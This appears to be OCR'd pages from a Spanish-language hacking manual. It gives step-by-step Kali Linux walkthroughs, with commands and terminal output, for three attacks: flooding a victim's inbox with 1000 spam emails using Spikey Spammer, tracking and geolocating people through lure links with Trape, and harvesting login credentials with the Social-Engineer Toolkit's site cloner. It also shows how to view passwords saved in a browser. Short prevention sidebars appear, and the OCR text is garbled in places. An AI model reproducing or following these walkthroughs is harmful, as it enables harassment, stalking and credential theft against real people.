ocasión se utilizará para llevar a cabo un ataque de e-mail spamming con 
fines ilustrativos y didácticos. A los efectos demostrativos, se ocupará la 
consola de comandos nativa del sistema, sobre la cual se ejecutará un script 
que es capaz de generar una cantidad voluminosa de spam. 


Applications v 


or root@kali: ~ 
Para iniciar, debe ejecutar 


un comando que permite 
clonar el repositorio donde 
se ubica el script (alojado 
en Internet). Para hacerlo, 
escriba la secuencia: #git 
clone https://github. 
com/jagreetdg/spikey- 
spammer.git, seguida de 
ENTER. 


File Edit View Search Terminal Help 

root@kali:~# git clone https://github.com/jagreetdg/spikey-spammer.git 
Cloning into 'spikey-spammer'... 

remote: Enumerating objects: 48, done. 

remote: Total 48 (delta 0), reused © (delta 0), pack-reused 48 


Unpacking objects: 100% (48/48), done. 
root@kali:~# fj 
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root@kali: ~/spikey-spammer 


File Edit View Search Terminal Help 

root@kali:~# ls 

Desktop Downloads Pictures spikey-spammer Videos 
Documents Music Public Templates 

rootokel.:~# cd spikey-spammer 
root@kali:~/spikey-spammer# python main.py 


SCRIPT OUTPUT INFO : 
before an output indicates it is a non-verbose log 
before an output indicates it is a verbose log 
before an output indicates it is an error log 
before an output indicates it is an input 


-> Spikey Spammer v1.1 
-> Developed by Jagreet Das Gupta 
-> Copyright : V!$(3R4 


?> Service Provider ? (gmail/yahoo) : a 


Google 
Crear tu cuenta de Google 


Ira Gmail 


Nombre Apellidos 
Prueba Pentesting 


Nombre de usuario 
pentestingp @gmail.com 


Puedes utilizar letras, números y puntos © 


Una cuenta. Todo Google a tu 
disposicion. 


Prefiero iniciar sesion Siguiente 


root@kali: ~/spikey-spammer 
File Edit View Search Terminal Help 
root@kali:~/spikey-spammer# python main.py 


SCRIPT OUTPUT INFO : 

'->' before an output indicates it is a non-verbose log 

'1>' before an output indicates it is a verbose log 

'~>' before an output indicates it is an error log 
before an output indicates 


Spikey Spammer v1.1 
Developed by Jagreet Das Gupta 
Copyright : V!$(3R4 


Service Provider ? (gmail/yahoo) : gmail 

Recipient's Email: MN mail. com 

Sender's Email : pentestingp@gmail.com 

Sender's Password: 

Do you want to include a predefined subject ? (y/n)n 
Message: Eres el ganador de un viaje todo pagado a Londres 
Do you want to attach files ? (y/n) n 

Number of messages to send: 1000] 
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A continuación, 
verifique la creación 
de la carpeta spikey - 
spammer con el 
comando #ls. Trate 
de ingresar en este 
directorio (con #cd 
spikey-spammer) y, 
finalmente, ejecute la 
herramienta. Esto se 
consigue introduciendo 
el comando: #python 
main.py. Desde aquí 
podrá ver algunos 
parámetros de salida 
del script. 


Como podrá apreciar, 
el sistema comenzará a 
solicitar algunos datos 
para ejercer el ataque, 
tal como el correo 
electrónico del objetivo 
(y por consiguiente, 

del destinatario). Por lo 
tanto, sería una buena 
práctica generar un 
correo para atacar. 


Comience a vaciar los 
datos solicitados (entre 
ellos, el proveedor de 
servicios) manteniendo 
presente el anonimato 
en todo momento. 
Configure además el 
mensaje para enviar 

(y en caso de incluir 
archivos, agréguelos). 
Finalmente, ingrese el 
número de mensajes 
que desea mandar y 
presione ENTER. 


Y Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 
Player + | My 7 HL 
Applications Places E] Terminal ~ 


root@kali: ~/spikey-spammer 
File Edit View Search Terminal Help 


Content-Type: multipart/mixed; boundary="==============-§EEEE 0348 148==" 
MIME-Version: 1.0 


From: pentestingp@gmail.com 
To: Ee . Com 


Content-Type: text/plain; charset="us-ascii" 
MIME-Version: 1.0 
Content-Transfer-Encoding: 7bit 


Eres el ganador de un viaje todo pagado a Londres 
0348148==- - 


-> Starting Up Executioner Style XD XD !! 


l> E-Mail Packet Number #1 Sent... 
l> E-Mail Packet Number #2 Sent... 
l> E-Mail Packet Number #3 Sent... 
!> E-Mail Packet Number #4 Sent... 





-Ma Mute f Spil 


D Note el momento en el que se lleva a cabo la detonación del spam. En esta sección 
podrá ver un conjunto de cadenas MIME, al igual que los correos dados de alta para 
la prueba. Al final, se observa el envío de cada uno de los paquetes. 


C Correo: IS x 


= E A https://outlook.live.com/mail/inbox/id/AQMKADA\ 


+ Mensaje nuevo A Marcar todos como leídos 


Bandeja de e... 504 Prioritarios Otros & Filtrar 


Correo no dese... 169 


r pentestingp@gmail.com : x<02)1??7 hola 
Borradores s 


ES pentestingp@gmail.com : ?7E;R??e" hola 


Elementos eliminados pentestingp@gmail.com : CP7H???SE? hola 


personal pentestingp@gmail.com : 1 ???w?KJ hola 
pentestingp@gmail.com hola 
pentestingp@gmail.com : 7??7[?77?? hola 

pentestingp@gmail.com :2072%q?- hola 


pentestingp@gmail.com : AFAJ??? hola 


pentestingp@gmail.com : ???6???S hola 


pentestingp@gmail.com > t\?42HH?N hola 





Para comprobar el exito de este ataque, aqui se muestra el 
screenshot de la bandeja de entrada del correo de la victima. 
Note que en este caso se han enviado 1000 mensajes. 
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Como protegernos 


En la actualidad, los múltiples métodos de Por otro lado, siempre es posible evitar la trampa 
prueba permiten a los administradores ajustar de algún bulo o hoax si se aprende a distinguirlo 
las técnicas de prevención de spam y bloquear del resto de las publicaciones. Esto se consigue 
el 99% del correo basura entrante. Algunas tras analizar tanto la fecha de publicación como 
soluciones de software (como antivirus) integran la fuente proveniente de cada contenido, pues, 
una modalidad antispam. Por lo tanto, es por lo regular, este tipo de correo carece de 
conveniente implementarlas para protegerse. estos datos. 

Seguramente muchos usuarios deben En conclusión, debemos evitar de todas las 
preguntarse: ¿de qué sirve una herramienta como maneras posibles proporcionar el e-mail a 

esta? Pues luego de configurar un servidor de cualquier medio, completar formularios para 
correo SMTP, hay que habilitar un filtro de spam páginas sospechosas y, desde luego, responder 
para evitar que el correo se llene de basura. En a cualquier spam. 

este caso, un cibercriminal podría usar 

una herramienta parecida para dejar 0 peer Cao =a 
inhabilitado el servidor de e-mail (que es = #)SecurityGateway OIR 
la que se está utilizando desde Kali-Linux). {| user options | 
Este último recurso a menudo es utilizado ESC A ames En 
por el sysadmin para poner a prueba su AR | 
servidor de correo. TRIAS, CET RL TOTO Y TERRA E 


En el caso del correo electrónico personal, “Tas server adheres ta ls partaning to De General Data Protacton Regulador. Unauthorised access | 


prohibited, 


hay que efectuar la configuración de los 
filtros correspondientes, lo que garantiza 
disminuir el daño de manera significativa. 
En cuanto a las empresas, se sugiere 
configurar los dispositivos de seguridad e, 
incluso, los servidores. 





Defaults 


O Do not perform anti-spam tests for messages addressed to this account 





La herramienta 
SecurityGateway 
for Email Servers 

es una opción 


apeta 


P ze ite Amics viable para 
s X Q Responder 7 £ i Pip ej (7 controlar el flujo 
i > (Q Responder a todos 
Nuevo mensaje de Nuevos &- Eliminar e p Ey Pasos Mover Etiquetas Buscar Tienda Mi de spam. 
correo electrónico elementos ~ E3 Reenviar rápidos ~ z z y cuenta ~ 
Nuevo &s Bloquear remitente Comple... Adobe Se... A 
Buscar en Buzón actual (C No bloquear al remitente nunca Q Reenviar 
Todo No leídos No bloquear nunca el dominio del remitente (@example.com) hander si- 03/01/2019 
CompuTrabajo No bloquear a este grupo o lista de distribución de correo nunca 1e training series premi... 
Nuevas ofertas de trz “art > dese 
Mentor Talent Consult es9maesSta este mensaje, 
- 9 Opciones para el correo electrónico no deseado... pprador web. 
Tiendas Coppel Haga clic aqui para descargar imagenes. Para ayudarle a proteger 
Inicia el año estrenando cel c... 03/01/2019 su confidencialidad, Outlook ha impedido la descarga automática 
¡Hola! Si no puedes ver bien 
Cancelar suscripción + Obtener más aplicaciones Outlook, al 
The WordPress.com Bl... igual que otros 
New Introducing the 2... 03/01/2019 : . = 
oe ceci sie SA ine Catch up on all my live courses in progress now: proveedores 
de servicio de 
RedUSERS Noticias r correo, incorpora 


Agresiones contra autos sin... 02/01/2019 e CISSP - M-W-F @ 9:30 am ET 


Ver en mi navegador 


las opciones de 
e CISM - M-W-F @ 11:30 am ET configuración 


CompuTrabajo f necesarias para el 
Nuevas ofertas de trabajo de... 02/01/2019 e Intro to Project Management - M-W-F O control de spam. 


Mentor Talent Consulters y 
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Rastrear a personas 





En este proyecto vamos a conocer el funcionamiento general de la 
herramienta Trape, que ha sido disenada con propositos de investigacion. 
Por lo tanto, este recurso brinda al usuario la posibilidad de buscar y, 


por consiguiente, rastrear personas en forma remota. Es una herramienta utilizada 
en el universo hacker para localizar ciberdelincuentes. 


La herramienta Trape 


Trape es un software que fue desarrollado 
por el hacker colombiano José Pino, y que 

se encuentra disponible en dos versiones: 
open source o de código abierto (que es 
gratuita), y profesional, que tiene un costo 

de 28 dólares. 

Trape le permite al investigador trabajar de 
manera remota. De este modo, podrá conocer, 
por ejemplo, en qué red social está conectada 
una persona, con solo mandarle el link de 

una simple nota o página web. Se sabe que 

la víctima hará clic sobre el enlace, tras lo 
cual la herramienta será capaz de elaborar 
una perfilación: indicará si se trata de un 
activista, un desarrollador o un pedófilo en 
busca de material audiovisual. Este software 


People tracker on the Internet 


+--={ Lure for the victims: A an 
+--=[ Control Panel Link: http://127.0.0.1:666/512d56b 


+--=[ Your Access key: 5df3679f1104b3e70018154e 


>] 2018-02-08 - 22:06:02 
i) Waiting for the victims to fall... 


Interfaz gráfica de la herramienta Trape. 
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también realiza una predicción sobre el 
comportamiento del individuo, de manera 

que es posible saber con exactitud con qué 
persona o ciberdelincuente se está tratando. 
Algunos otros beneficios que ofrece esta 
herramienta son: reconocimiento remoto de 
sesiones en redes sociales y otros servicios, 
como Facebook, Twitter, Reddit, Gmail, 
Tumblr, Instagram, GitHub, Spotify, PayPal, 
Amazon y AirBnB; registro de víctimas; 
obtención de información y posibilidad de 
coordinar ataques de phishing en tiempo 

real. También es posible obtener credenciales 
almacenadas dentro de los equipos rastreados 
y el mapeo de las víctimas mediante técnicas 
de geolocalización. 





Geolocalizacion con Trape 


Es importante recordar la definicion de 
geolocalizacion: consiste en la capacidad para 
obtener la ubicacion geografica real de un objeto, 
como una computadora, un telefono movil o 
cualquier dispositivo conectado a Internet. Por lo 
general, esto se hace por IP. 

La ubicación geográfica en la Web se determina, 
entre otras cosas, por medio de la dirección IP 
(protocolo de Internet). Por lo tanto, este tipo 

de datos cumplen con el propósito de informar 
sobre la región, país, ciudad, latitud y longitud, 
zona horaria, código postal, nombre de dominio e 
idioma de un determinado objetivo. 

Por medio de la ubicación geográfica, se puede 
hacer un rastreo o seguimiento, por ejemplo, 
de las personas que visitan un sitio web en 
particular. La geolocalización por IP tiene sus 
ventajas y desventajas. Por un lado, permite 
ubicar la procedencia de un fraude o delito 
informático para llegar a una solución. 


Search location: Revesby 
Y See all results: 

| Heir Apparel 
BeeYourself Clothing 
Dress Code 
The Legacy 
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x% 


i i q l EM va 
Eastern Cr a Ca ' Manly 
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Por el otro, da la posibilidad de que muchas 
empresas hagan un seguimiento de la actividad 
en línea de un usuario cualquiera. 
Actualmente, existen dos versiones de 
Trape: una es gratuita (con varias limitaciones) 
mientras que la otra es Premium, es decir, con 
un costo para los usuarios que quieren sacarle 
mayor provecho. 
Los mapas de Google son un recurso auxiliar a los 
efectos de la localización de personas. Es por eso 
que hoy forman parte de la interfaz de Trape. 
De acuerdo con lo explicado anteriormente, 
debemos saber que, para poder visualizar el mapa 
correspondiente a los fines de la geolocalización 
y, por consiguiente, para Ilevar a cabo el mapeo 
de una víctima, será necesario obtener una clave 
API de Google Maps. La clave API es un tipo 
de identificación (interfaz de programación de 
aplicaciones) para el uso de aplicaciones con 
Google Maps. 

El mapeo de una víctima puede 


llevarse a cabo mediante el uso 
de recursos como Google Maps. 


Kenthurst > DL. TS DA “er b 
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Ataque o defensa con Trape 


Mucho se hablado en los ultimos tiempos sobre el dilema de presentar una 
herramienta como Trape, pues se sabe que las capacidades con las que 
cuentan las aplicaciones como esta suponen hoy un riesgo para los derechos 
de la poblacion de cualquier pais. No obstante, cabe resaltar que, finalmente, 
ha sido desarrollada con fines de inteligencia y vigilancia por parte de los 
gobiernos, empresas y otro tipo de entidades. 

A continuación, se presenta un paso a paso que explica la forma de utilizar 


esta herramienta: 


Applications v Places v Terminal + 


root@kali: ~/trape 


File Edit View Search Terminal Help 


root@kali:~# git clone https://github.com/boxug/trape.git 
Cloning into 'trape'... 

remote: Enumerating objects: 17, done. 

remote: Counting objects: 100% (17/17), done. 

remote: Compressing objects: 100% (17/17), done. 

remote: Total 404 (delta 4), reused 1 (delta 0), pack-reused 387 
Receiving objects: 100% (404/404), 6.52 MiB | 1001.00 KiB/s, done. 
Resolving deltas: 100% (187/187), done. 

root@kali:~# ls 

Desktop Downloads Pictures Templates Videos 

Documents Music Public trape 

root@kali:~# cd trape 

root@kali:~/trape# | 





1 Para iniciar, debe ejecutar un comando que permite clonar el repositorio donde se ubica 
la herramienta de rastreo (alojada en Internet). Para hacerlo, escriba la siguiente 
secuencia: #git clone https://github.com/boxug/trape.git seguida de un ENTER. 
Posteriormente, intente listar el contenido del repositorio actual con la orden #ls. 


Pulse ENTER y acceda a la carpeta /trape que se ha creado. 


root@kali: ~/trape 
File Edit View Search Terminal Help 


Downloading https://files.pythonhosted.org/packages/8a/f2/f61d999bdc90c3d0f9Cc8 + 


14f029bbb80c227b02d4e794beb38296b12fcfb0/python_socketio-3.1.1-py2.py3-none-any. 
whl (44kB) 
100% | i | 51E 993kB/s 

Requirement already satisfied: six in /usr/lib/python2.7/dist-packages (from -r 
requirements.txt (line 12)) 
Requirement already satisfied: Werkzeug in /usr/lib/python2.7/dist-packages (fro 
m -r requirements.txt (line 13)) 

ollecting eventlet (from -r requirements.txt (line 14)) 

Downloading https: //files.pythonhosted.org/packages/86/7e/96e1412f96eeb2f2eca9 
42dcc4d5bc9305880a448b603b0a8e54439b71c/eventlet-0.24.1-py2.py3-none-any.whl (2 
19kB) 

100% | | 2255 1.0mB/s 

Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (fro 
m -r requirements.txt (line 15)) 
Requirement already satisfied: colorama in /usr/lib/python2.7/dist-packages (fro 

-r requirements.txt (line 16)) 
Requirement already satisfied: enum34; python version < "3.4" in /usr/lib/python 
2.7/dist-packages (from eventlet->-r requirements.txt (line 14)) 
Requirement already satisfied: dnspython>=1.15.0 in /usr/lib/python2.7/dist-pack 
ages (from eventlet->-r requirements.txt (line 14)) 
Requirement already satisfied: greenlet>=0.3 in /usr/lib/python2.7/dist-packages 

(from eventlet->-r requirements.txt (line 14)) 

ollecting monotonic>=1.4 (from eventlet->-r requirements.txt (line 14)) 
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Una vez dentro, proceda 
a configurar el proyecto 
y dejar que instale sus 
dependencias. Para 
realizar esta tarea es 
necesario ingresar el 
comando: #python 
trape.py -h. 

Nota: si el comando 
anterior no funciona, 

se aconseja utilizar la 
siguiente orden: 

#pip install -r 
requirements. txt. 


root@kali: ~/trape 
File Edit View Search Terminal Help 


his is a exclusive version for researchers, or professionals 
who are dedicated to research, we hope you enjoy. 


DISCLAIMER 


his is a monitoring and research tool OSINT, which is distributed 
for educational and investigative purposes, the person who has bought 
or uses this tool is responsible for its proper use or actions committed 


Jose Pino (@jofpin) is not responsible for the use Or the scope that peo 
ple can have 


through this software. 
CREATOR 


- NAME: Jose Pino 


- DESCRIPTION: Hacker recognized by large technology companies 
- GITHUB: https://github.com/jofpin 
- TWITTER: https://twitter.com/jofpin 


Press enter to Continue... 





Para ejecutar la herramienta es necesario colocar el siguiente comando: #python trape.py 

- - url http://página.com - -port 8080. Donde: página.com es la URL de una página cualquiera, 
considerada como el anzuelo para atraer a una víctima. El puerto de entrada se agrega después 
del parámetro port; en este caso, se utiliza el 8080. Presione ENTER. Verá un declaimer en el que 
el autor del software expone el propósito principal de la creación de esta herramienta, además de 
los datos sobre repositorios de consulta e información de contacto. Pulse ENTER para continuar. 


root@kali: ~/trape 
File Edit View Search Terminal Help 


hrough this section you will configure the resources required 
for an effective function of trape, please complete the following steps, 
below. 


Keep in mind that if the data is incorrect this tool will not work. 


NGROK TOKEN 


In the next section you must enter your Ngrok token, if you do not have 
one register at (https://ngrok.com), this data is necessary for the gene 
ration of public network tunnels. 


- Enter your ngrok token :-> | 





La siguiente pantalla se encarga de dar a conocer las pautas de 
configuración de zona para el uso del software, para lo que será necesario 
su registro en: https://ngrok.com (DDNS) con el fin de obtener un token. 
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Cy Setup & Installation 


Status 
Reserved 


Auth 


(1) Download ngrok 


ngrok is easy to install. Download a single 
binary with zero run-time dependencies. 


(3) Connect your account 


Running this command will add your 
account's authtoken to your ngrok.yml file. 
This will give you more features and all open 


MacOSX Windows 


Mian tunnels will be listed here in the dashboard, 


ro + Download for Linux 
min 


Billing Mac (32-Bit) Windows (32-Bit) Linux (ARM) 
Linux (32-Bit) FreeBSD (64-Bit) 
FreeBSD (32-Bit) 


Want more from ngrok? 
Upgrade now 





Select All | 
| 
| 


a Search Google for “/ngrok aut 
| 





View Selection Source 


Read the document 


(2) Unzip to install 


On Linux or OSX you can unzip ngrok from a 


m 


ngrok. Try it out by r 
command line: 





Inspect Element (Q) 


| 


5 Una vez hecho el registro en la página anterior, se verá el token correspondiente. Debe 

copiarlo y pegarlo sobre la terminal de comandos. Seguramente, se requerirá también la 
generación de una clave de Google para la navegación sobre mapas (tarea que efectuará 
más adelante). Presione ENTER. 


root@kali: ~/trape 
File Edit View Search Terminal Help 




















@-=[ UPDATES: RUNNING RECENT VERSION 
LOCAL INFORMATION 


>-=[ Lure for the users: http://10.0.2.15:8184/google.com/ 
>-=[ Your REST API path: http://10.0.2.15:8184/c0041cf08e2a. js 
>-=[ Control Panel Link: http://127.0.0.1:8184/f769977 

>-=[ Your Access key: 26dabc288caf76899d1lee910 


unnel session failed: The authtoken you specified does not look like a pro 
per ngrok tunnel authtoken. 
our authtoken: /ngrok authtoken 2Lc86d4zomsxt1tYy2wrK 6VAnw5Xu3Sb8eD34UgPE 


Instructions to install your authtoken are on your ngrok dashboard: 
https://dashboard.ngrok.com/auth 


ERR_NGROK_105 





Palabras del autor de Trape 


ni a tu máquina”, sostiene José Pino, autor de la herramienta Trape. 
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“Creo que soy el único empresario que te va a vender un arma y te va a decir 
cómo prevenir el ser atacado por quien la usa. Para evitar ser rastreado, existe 
una extensión para navegadores llamada No-Script, que permite cancelar cargas 
de JavaScript. Al activar esta extensión, nadie podrá obtener acceso a tus datos 


Sitodo ha salido bien, 
conseguirá el acceso a 
Trape. Verifique ahora 

los datos que aparecen 

en pantalla. Como podrá 
notar, se trata de varias 
URL distintas y una llave 
de acceso. Por ejemplo: el 
primer enlace conduce a la 
página principal de consulta 
(el anzuelo que utilizará el 
atacante para cazar a su 
presa). Presione clic para 
abrir la página de google. 
com. 














Trape: Control Panel - Mozilla Firefox 
Kali Linux, an Offensive S... x / [$ Trape: Control Panel x \ Google 


ra +t 9 
Es Most Visitedw [J Offensive Security Ñ Kali Linux ‘A Kali Docs ‘Ñ Kali Tools ® Exploit-DB W Aircrack-ng 


E trape mE 


€ G9 | 127.0.0.1:8080/22966200088b53e3f9 @ | (Q Search 


HTTPS://GOOGLE.COM 
192.168.233.129:8080/2d988b953b 6b.¡s 


LOGS USERS 


=) 148.204.233.242 ET EF 8 DETAILS 


Trape: Control Panel - Mozilla Firefox 
Kali Linux, an Offensive S... x / [E Trape: Control Panel  x \ Google 


€ G$ | 127.0.0.1:8080/22966200088b53e3f9 e |¡Q Search 


wre + ft GY 
fey Most Visited w [Offensive Security ‘Ñ Kali Linux ‘Ñ Kali Docs * Kali Tools œ Exploit-DB W Aircrack-ng 


Ton DA 


P wN 
Map Sate SUMMARY 


NORMAL 


Local government oral E) A. INACTIVE 
Subdirección Regiona = i 


de Educación Basi 
Chicker restaurant Q) 
KFC Carmelo Perez 
47. Vendor: 
C ARENA NEZA “ng, 
Me py 3 Renderer: 
eS e Display: 
os Medical Center H) JA f- Power Source: 
Google ` J 4 rre in BA a u Gm, le 
ous Be > à Map data 52019 Google, INEGI , TermsofUse Report amap error 


Sa Level percentage: 
Distance now: Total distance: Estimated time: | min 


Remaining time: 
Postal code: Address: 
=~ 


Herramientas de prevencion 











Debe saber que el 
propio Trape ya ha 
detectado el ingreso 

a la pagina principal 
de consulta (anzuelo) 
y, por lo tanto, ha 
registrado un usuario 
conectado desde 

el panel de control. 
Analice las conexiones 
que se observan en 
dicho panel (donde 
podra efectuar la 

tarea de rastreo). 
Finalmente, haga clic 
sobre el icono azul 
ubicado en la parte 
inferior izquierda de la 
pantalla (direccion IP). 


Comience a explorar 
el mapa desplegado 
en pantalla, donde 
podra rastrear al 
usuario que acaba de 
conectarse mediante 
la página anzuelo. 
Note que existen 
diferentes datos que 
puede emplear para su 
ubicación. 

Nota: lo anterior se 
consigue gracias a la 
generación previa de la 
clave de Google para 
la navegación sobre 
mapas. 


Para evitar la geolocalización por IP y, por lo tanto, poder navegar con total libertad sin correr 
el riesgo de ser rastreado, se aconseja la utilización de una VPN. Es importante recordar que las 


redes privadas virtuales ofrecen una navegación anónima. Una alternativa que permite tener una 
experiencia Web segura, confiable y veloz se logra mediante el uso de servidores de empresas de 
primera línea, como Le VPN. 
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Hackear sitios web 
con SeToolkit 


En el presente proyecto se explica el procedimiento para obtener credenciales de acceso 
a las cuentas de prácticamente cualquier página o portal web (colegios, plataformas, 
correos e, incluso, redes sociales), gracias al uso de un set de herramientas como 
Setoolkit. Este es un recurso residente en algunos sistemas para pentesters como Kali Linux. 





Contraseñas en navegadores Web 


Actualmente, es muy común que la mayoría de 
los usuarios de la red terminen aceptando (de 
manera indirecta) el almacenamiento de sus 
credenciales de acceso en el navegador web, sin 
tener idea de que estas pueden ser visibles en 
todo momento. 

La manera más simple de explorar el repositorio 
de contraseñas guardadas es mediante la 
exploración de las opciones de configuración de 
cada navegador. 





rar la bat aprenc Nueva pestaña Ctrl + T 
Nueva ventana Ctrl + N 
Nueva ventana de Modo oculto Ctrl + Mayús + N 


Nueva ventana del Modo de banca Ctrl +8 


Historial | Buscar ajustes 


Descargas 


penes 


Zoom A 

Configuración de Autocompletar 

Imprimir Habilita Autocompletar para rellenar formularios web con un solo clic 
Enviar... = | wae 
e Configuración de tarjetas de crédito 

Buscar... Habilita la función de autocompletar tarjetas de crédito para rellenar formularios web con un solo clic 


Más herramientas 
Administrar contraseñas 


Editar Cortar Copiar Preguntar si quieres guardar tus contraseñas web 


Centro de seguridad DT 


| 
Configuración diomas 


Ayuda y acerca de Avast Secure Browser 


Idioma 
español (España) 
Salir 
Revisión ortográfica 
buscando español 





Abra el navegador de su elección (en este Una vez dentro de la interfaz 
caso, es Avast Security Browser). Haga clic de configuración del 

sobre el menú principal de navegación, que navegador, busque la opción 
se ubica en la parte superior derecha (tres Configuración avanzada y 
líneas o puntos). Finalice presionando sobre haga clic sobre la sección 

la opción Configuración. Contraseñas y formularios. 
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Q Buscar ajustes 


Preguntar si quiero quardar contrasefias -0 


Iniciar sesión automaticamente 
Permite iniciar sesión automáticamente en sitios web con credenciales almacenadas. Si esta función -0 
está inhabilitada, se te solicitará la confirmación cada vez que intentes iniciar sesión en un sitio web 


Contraseñas guardadas 


Sitio web Nombre de usuario Contraseña 


Mi hotmail.com 


Caon En esta sección deberá 

linuxzoo.net Mi @hotmail.com : seleccionar la ficha 
Administrar contraseñas. 

netflix.com BEE oim icom ; Como podrá observar, aquí 


se almacenan los datos 

de inicios de sesión que, 
NIE _— ; en muchas ocasiones, son 
guardados por los usuarios 
que utilizan el navegador. 


packetstormsecuritycom  [j@hotmail.com 





Detalles de contraseña guardada 
Sitio web 

1ttps://www.netflix.com/mx login 
Nombre de usuario 


Contraseña 


> 


Listo A" 
ES Para efectuar un análisis 


detallado, presione sobre 
el icono en forma de ojo o 
sobre los puntos ubicados 
a la derecha de este. 





Queda entendido que no cualquier individuo puede tener acceso 
físico al equipo de otra persona o victima (para así obtener sus 
credenciales); hay que tener en cuenta el uso de recursos auxiliares 
para cumplir con tal hazaña. Uno de estos elementos es, sin duda, 
Setoolkit, que puede invocarse desde Kali Linux. 
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Setoolkit desde Kali Linux 


La herramienta que se precisa en este caso para 
el robo de credenciales de acceso (phishing) 
es Setoolkit, presente en Kali Linux. Para 

tener acceso a este recurso, basta con dirigirse 
a Applications/Exploitation Tools/Social 
Engineering (SET). 


Social Engineering Toolkit (SET) es un Ka Li n u X 2 .0 


framework open source desarrollado en 
Python que está dedicado a la ingeniería 
social. SET (como habitualmente se lo Kali Linux puede ser usado 
conoce) se ha convertido en un conjunto de O ee 
herramientas indispensable para los pentesters puede oer inci lao ESO 
interesados en el campo de la ingeniería social. sistema operativo principal. 
Este kit de herramientas se destaca por su 

facilidad y agilidad a la hora de configurar un 


posible ataque. 





% all 89% M 18:04 


Ø © x : 


Codename: 'Blackout' 
---] Follow us on Twitter: @lrustedSec 
---] Follow me on Twitter: @HackingDave Homepage: https: //www.trustedsec.com 


E==-] 
Welcome to the Social-Engineer Toolkit (SET). 
The one stop shop for all of your SE needs. 
Join us on irc.freenode.net in channel #setoolkit 
The Social-Engineer Toolkit is a product of TrustedSec. 


Visit: https: //ww.trustedsec.com 


It's easy to update using the PenTesters Framework! (PTF) 
isit https: //github.com/trustedsec/ptf to update all your tools! 


Select from the menu: 


1) Social-Engineering Attacks 

2) Penetration Testing (Fast-Track) 
3) Third Party Modules 

4) Update the Social-Engineer Toolkit 
5) Update SET configuration 

6) Help, Credits, and About 


Exit the Social-Engineer Toolkit 





Interfaz de Setoolkit: El servidor Apache 

II atlas sea Debemos saber que el servidor Apache forma parte indispensable 
sistemas de pentesting ' de 
como Kali Linux. de este tipo de prácticas; sobre todo, a la hora de mostrar contenido 


mediante Localhost. Por eso, es importante considerar su activación 
en determinado momento, dado que es aquí donde se almacenarán 
las páginas que se clonen y desde donde se mostrará el contenido. 


70 | redusers.com 


Herramientas de prevencion 


Como se mencionó en proyectos anteriores, para no 
sufrir ataques por ingenieria social, la herramienta resulta 
imprescindible usar el sentido comun. 


Terminal 
File Edit View Search Terminal Help 


Join us on irc.freenode.net in channel #setoolkit 
The Social-Engineer Toolkit is a product of TrustedSec. 
Visit: https://www.trustedsec.com 
It's easy to update using the PenTesters Framework! (PTF) 
Visit https://github.com/trustedsec/ptf to update all your tools! 
Unable to check for new version of SET (is your network up?) 
Select from the menu: 
Social-Engineering Attacks 
Penetration Testing (Fast-Track) 
Third Party Modules 
Update the Social-Engineer Toolkit 
Update SET configuration 
Help, Credits, and About 


Exit the Social-Engineer Toolkit 





$ 
1 Luego de hacer clic en la opción Social Engineering (SET), se ejecutará una consola de 
comandos. Presione en esta ocasión la tecla Y (Yes) para aceptar los términos. Aguarde hasta 
que aparezca un menú de opciones. Escriba el número 1 para seleccionar Social-Engineering 
Attacks (para efectos de ataque de ingeniería social). Pulse ENTER. 





















Terminal 





File Edit View Search Terminal Help 


There is a new version of SET avaitable a 
Your version: 7.7.2 
Current version: 7.7.9 


Please update SET to the latest before submitting any git issues. 


Select from the menu: 





Spear-Phishing Attack Vectors 
2) Website Attack Vectors 

3) Infectious Media Generat 

4) Create a Payload and Listener 

5) Mass Mailer Attack 

6) Arduino-Based Attack Vector 

7) Wireless Access Point Attack Vector 
8) QRCode Generator Attack Vector 

9) Powershell Attack Vectors 

18) SMS Spoofing Attack Vector 

Third Party Modules 


Return back to the main menu. 


redusers.com | 71 


Manual del hacker > Proyectos intermedios 








Terminal 6 8 8 


File Edit View Search Terminal Help | 
ate however when clicked a window pops up then is replaced with the malicious li” 


nk. You can edit the link replacement settings in the set config if its too slow 
/fast. 


















he Multi-Attack method will add a combination of attacks through the web attack 
menu. For example you can utilize the Java Applet, Metasploit Browser, Credenti 
al Harvester/Tabnabbing all at once to see which is successful. 





he HTA Attack method will allow you to clone a site and perform powershell inje 
ction through HTA files which can be used for Windows-based powershell exploitat 
ion through the browser. 





1) Java Applet Attack Method 
2) Metasploit Browser Exploit Method 
3) Credential Harvester Attack Method 
4) Tabnabbing Attack Method 

5) Web Jacking Attack Method 

6) Multi-Attack Web Method 

7) Full Screen Attack Method 

HTA Attack Method 









99) Return to Main Menu 


set:webattack>3 


File Edit View Search Terminal Help 


The second method will completely clone a website of your choosing 
and allow you to utilize the attack vectors within the completely 
same web application you were attempting to clone. 


The third method allows you to import your own website, note that you 
should only have an index.html when using the import website 
functionality. 


1) Web Templates 


2) Site Cloner 
3) Custom Import\ > 


99) Return to Webattack Menu 


set: webattack>2 

[-] Credential harvester will allow you to utilize the clone capabilities withi 
SET 

[-] to harvest credentials or parameters from a website as well as place them i 
to a report 

[-] This option is used for what IP the server will POST to. 

[-] If you're using an external IP, use your external IP for this 
set:webattack> 

129] : epee eee 





En el siguiente menu, finalmente presione el numero 


La forma mas simple de conocer 2. Esto permite seleccionar la opcion Site Cloner, 

la AN IP oe ee el | con la finalidad de clonar el sitio web de su elección. 
A RNE EE NA, Presione ENTER. En la parte inferior debe colocar su 
En el caso de la IP pública, se puede l mi , ica i i 5 
ingresar en la siguiente página: dirección IP privada o pública. El tipo de IP dependerá 
www.cual-es-mi-ip.net. de si la víctima se encuentra en la misma red local 


(privada) o fuera de ella (pública). Presione ENTER. 
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File Edit View Search Terminal Help 

[-] to harvest credentials or parameters from a website as well as place them in 
to a report 

[-] This option is used for what IP the server will POST to. 

[-] If you're using an external IP, use your external IP for this 

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.233 
.129]:127.0.0.1 

[-] SET supports both HTTP and HTTPS 

[-] Example: http://www.thisisafakesite.com 

set:iwebattack> Enter the url to clone: AAA AA AA AE 


[*] Cloning the website: http://ww.quiz-creator.com/online-quiz-maker 
[*] This could take a little bit... 


The best way to use this attack is if username and password form 
fields are available. Regardless, this captures all POSTS on a website. 
[*] The Social-Engineer Toolkit Credential Harvester Attack 

[*] Credential Harvester is running on port 80 

[*] Information will be displayed to you as it arrives below: 

127.0.0.1 - - [31/Jan/2019 20:16:50] "GET / HTTP/1.1" 266 - 

directory traversal attempt detected from: 127.0.0.1 

